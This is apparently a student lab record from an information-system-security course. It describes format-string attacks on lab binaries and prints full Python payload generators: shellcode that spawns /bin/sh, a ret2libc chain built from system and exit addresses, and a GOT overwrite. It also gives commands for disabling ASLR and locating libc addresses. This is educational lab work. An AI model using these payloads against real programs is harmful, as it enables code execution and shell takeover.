HUST Information System Security Lab1-Software Security
Information System Security Lab1 Record
prog1 Change var Value
Attack approach: Exploit printf function vulnerability, use %.nx for n-digit length characters, then use %n to write the length of previously printed characters at the given address.
First, configure the environment and compile the program
1
2
3
4
5
6Disable ASLR
sudo sysctl -w kernel.randomize_va_space=0
Compile prog1.c as 32-bit, need to modify fread to fgets in the source file
Remember not to use -fno-stack-protector option
gcc -z execstack -o prog1 prog1.cExecute the program and view the layout
1
2%08x | %08x | %08x | %08x | %08x
.\prog1
Construct format string to modify to 0x66887799
1
sh exploit_prog1_1.sh bfffed54
Construct format string to modify to 0xdeadbeef
1
sh exploit_prog1_2.sh bfffed54
prog2 shellcode injection, obtain shell
Attack approach: Modify the function return address to the address of
the injected shellcode. Note that shellcode executes on the
stack, so enable stack execution.
Enable stack protection and stack execution
1
gcc -fstack-protector -z execstack prog2.c -o prog2
Look at the relevant addresses, need to overwrite the return address to the shellcode address
1
echo -e "%08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x" > input2
Also need to confirm how many %.8x are needed to point the pointer to the beginning of the str array
Our goal is to overwrite the return address to a position in the array, then obtain shell through sled instructions. Fill in the corresponding parameters in exploit.py. To hit the sled instructions, we need to add a number, need to try several times, basically 80 is just enough.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47#!/usr/bin/python3
import sys
# This shellcode creates a local shell
local_shellcode= (
"\x31\xc0\x31\xdb\xb0\xd5\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
).encode('latin-1')
N = 200
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))
# Put the code at the end
start = N - len(local_shellcode)
content[start:] = local_shellcode
# Put the address at the beginning
addr1 = 0xffffd0ae
addr2 = 0xffffd0ac
content[0:4] = (addr1).to_bytes(4,byteorder='little')
content[4:8] = ("@@@@").encode('latin-1')
content[8:12] = (addr2).to_bytes(4,byteorder='little')
# Calculate the value of C
C = 15
# For investigation purpose (trial and error)
#s = "%.8x_"*C + "%n" + "\n"
# Construct the format string
small = 0xffff - 12 - C*8
large = 0x1d0c4 - 0xffff + 75
s = "%.8x"*C + "%." + str(small) + "x" + "%hn" \
+ "%." + str(large) + "x" + "%hn"
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt
print(content)
# Write the content to badfile
file = open("input2", "wb")
file.write(content)
file.close()
prog2 ret2libc injection, obtain shell
Attack approach: This requires enabling stack non-executable
protection, so we need to bypass it through ret2libc to obtain shell,
i.e., using system("/bin/sh")
Enable Stack Guard and stack non-executable protection, compile command as follows:
1
gcc -fstack-protector -z noexecstack prog2.c -o prog2
First run the program tentatively
Next, need to find the corresponding addresses and construct stack details before control flow hijacking. Specifically, need to find the addresses of
system()function and string/bin/sh.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19Method 1 -- Directly obtain through gdb
gdb -q prog2
b printf
run
info proc map
searchmem "/bin/sh" 0xb7d6a000 0xb7f1d000 # Search for string from libc start address to end address on heap
p system
p exit
Method 2 -- Obtain through calculation (.so base address + offset address)
ldd ./prog2
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "setuid"
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "exit"
ropper --file /lib32/libc.so.6 --string "/bin/sh"
gdb -q prog2
b printf
run
info proc mapFirst method results:

Second method results:
Both methods calculate the same results: system: 0xb7da4da0, exit: 0xb7d989d0, “/bin/sh”: 0xb7ec582b
Construct shellcode, overwrite return address to system function address, return address+4 is exit function address, return address+8 as system function parameter overwrite to /bin/sh address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67#!/usr/bin/python3
import sys
import argparse
def generate_payload(ret_addr, sh_str_addr, exit_addr, system_addr):
N = 200
addr = ret_addr
payload = (addr + 10).to_bytes(4, byteorder='little') # high 2 bytes of /bin/sh string address
payload += ("@@@@").encode('latin-1')
payload += (addr + 8).to_bytes(4, byteorder='little') # low 2 bytes of /bin/sh string address
payload += ("@@@@").encode('latin-1')
payload += (addr + 6).to_bytes(4, byteorder='little') # high 2 bytes of exit address
payload += ("@@@@").encode('latin-1')
payload += (addr + 4).to_bytes(4, byteorder='little') # low 2 bytes of exit address
payload += ("@@@@").encode('latin-1')
payload += (addr + 2).to_bytes(4, byteorder='little') # high 2 bytes of system address
payload += ("@@@@").encode('latin-1')
payload += (addr).to_bytes(4, byteorder='little') # low 2 bytes of system address
sh_str_addr = int(sh_str_addr, 16)
exit_addr = int(exit_addr, 16)
system_addr = int(system_addr, 16)
# Construct the format string
offsets = [
(sh_str_addr >> 16) - len(payload),
(sh_str_addr & 0xffff) - (sh_str_addr >> 16),
(exit_addr >> 16) - (sh_str_addr & 0xffff),
(exit_addr & 0xffff) - (exit_addr >> 16),
(system_addr >> 16) - (exit_addr & 0xffff),
(system_addr & 0xffff) - (system_addr >> 16)
]
# Adjust offsets if necessary
for i in range(1, len(offsets)):
if offsets[i] <= 0:
offsets[i] += 0x10000
s = "%." + str(offsets[0]) + "x" + "%17$hn" + \
"%." + str(offsets[1]) + "x" + "%19$hn" + \
"%." + str(offsets[2]) + "x" + "%21$hn" + \
"%." + str(offsets[3]) + "x" + "%23$hn" + \
"%." + str(offsets[4]) + "x" + "%25$hn" + \
"%." + str(offsets[5]) + "x" + "%27$hn" + "\n"
payload += (s).encode('latin-1')
payload += bytearray(0x90 for _ in range(N - len(payload)))
return payload
def main():
parser = argparse.ArgumentParser(description="Generate payload for format string exploit.")
parser.add_argument('ret_address', type=lambda x: int(x, 16), help="Return address in hexadecimal")
parser.add_argument('sh_str_address', type=str, help="Address of /bin/sh string in hexadecimal")
parser.add_argument('exit_address', type=str, help="Address of exit function in hexadecimal")
parser.add_argument('system_address', type=str, help="Address of system function in hexadecimal")
args = parser.parse_args()
payload = generate_payload(args.ret_address, args.sh_str_address, args.exit_address, args.system_address)
# Write the content to input2
with open("input2", "wb") as f:
f.write(payload)
if __name__ == "__main__":
main()1
sh exploit_prog2_2.sh bfffeccc b7ec582b b7d989d0 b7da4da0
prog2 GOT table hijacking, call win function
Attack approach: Use printf function to modify the offset printf in the GOT table to the win function address, making the last printf in the fmtstf function execute the win function.
View GOT table, find printf function address as 0x0804a00c
1
objdump -R prog2
View PLT table, see win function address as 0x0804850b
1
objdump -d prog2 | grep -A 18 win
Start attack
1
2Enable address randomization
sudo sysctl -w kernel.randomize_va_space=21
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42#!/usr/bin/python3
import sys
import argparse
def generate_payload(win_addr, printf_addr):
addr = printf_addr
payload = (addr + 2).to_bytes(4, byteorder='little') # high 2 bytes of win function address
payload += ("@@@@").encode('latin-1')
payload += (addr).to_bytes(4, byteorder='little') # low 2 bytes of win function address
win_addr = int(win_addr, 16)
# Calculate the offset values for the format string
offset1 = (win_addr >> 16) - 3*4 - 8*15
offset2 = (win_addr & 0xffff) - (win_addr >> 16)
if offset2 < 0:
offset2 += 0x10000
s = "%.8x" * 15 + \
"%." + str(offset1) + "x" + "%hn" + \
"%." + str(offset2) + "x" + "%hn" + "\n"
payload += (s).encode('latin-1')
return payload
def main():
parser = argparse.ArgumentParser(description="Generate payload for format string exploit.")
parser.add_argument('win_address', type=str, help="Address of win function in hexadecimal")
parser.add_argument('printf_address', type=lambda x: int(x, 16), help="Address of printf function in hexadecimal")
args = parser.parse_args()
payload = generate_payload(args.win_address, args.printf_address)
# Write the content to input2
with open("input2", "wb") as f:
f.write(payload)
if __name__ == "__main__":
main()1
sh exploit_prog2_3.sh 0804850b 0804a00c







